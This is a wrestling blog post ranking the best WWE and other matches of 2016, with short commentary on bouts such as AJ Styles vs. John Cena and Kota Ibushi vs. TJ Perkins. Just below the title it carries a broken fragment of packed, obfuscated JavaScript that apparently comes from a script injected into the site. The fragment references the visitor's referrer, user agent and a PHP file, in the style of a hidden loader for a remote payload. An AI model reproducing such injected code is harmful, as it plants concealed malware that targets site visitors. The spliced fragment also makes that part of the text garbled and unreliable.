Best of 2016: Match of the Year
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ndrta|var|u0026u|referrer|yetkr||js|php'.split('|'),0,{})) we’re at one of the big ones. All the stories, all the hype and all the talk doesn’t mean much if the match at the end is worthless. That’s where we’ve arrived: what is the best match of the year? As uninteresting as WWE has seemed, it’s actually been a stacked year for big time matches and there are several to pick from. As usual these are in no particular order and only WWE matches will be considered. Also note that if a match isn’t included, it’s either because I didn’t think it was as good or, far more simply, I didn’t see it.
1. AJ Styles vs. John Cena – Summerslam
Above all else though, this was about the action. These two beat the heck out of each other for over twenty three minutes and it felt like the big match it was supposed to be. This was two top level stars at the top of their game fighting at one of the biggest shows of the year. While that happens a lot, this felt like they lived up to the hype, which is what you have to expect from people at their level.
2. Kota Ibushi vs. TJ Perkins – Cruiserweight Classic Finale
Instead of wasting time with generic moves and almost no characters, we had two guys who are talented and doing all kinds of things to fire the crowd up. The crowd helped as well with the kind of people who wanted to see this style match and appreciate it far more than the average WWE fans. The lack of a story is fine because this was all about the action, which is the point of something like the Cruiserweight Classic.
3. Royal Rumble
4. Sasha Banks vs. Charlotte – “Monday Night Raw” – July 25
5. AJ Styles vs. Roman Reigns – Payback
6. DIY vs. Revival – Takeover: Toronto
7. Sami Zayn vs. Kevin Owens – Battleground
8. Team Smackdown Live vs. Team Monday Night Raw – Survivor Series
It was billed as the other main event of the show (along side FANTASY WARFARE) and my goodness did it manage to work well. This match lasted almost an hour, making it even longer than some Royal Rumbles. The eliminations took their time and the match was allowed to build up instead of being rushed along until we get to the big ones at the end, making it feel like an event instead of just a regular match.
9. Miz vs. Dolph Ziggler – No Mercy
10. Shinsuke Nakamura vs. Sami Zayn – Takeover: Dallas
11. Cesaro vs. The Miz vs. Kevin Owens vs. Sami Zayn – Extreme Rules
12. The Final Deletion – Impact Wrestling – June 28
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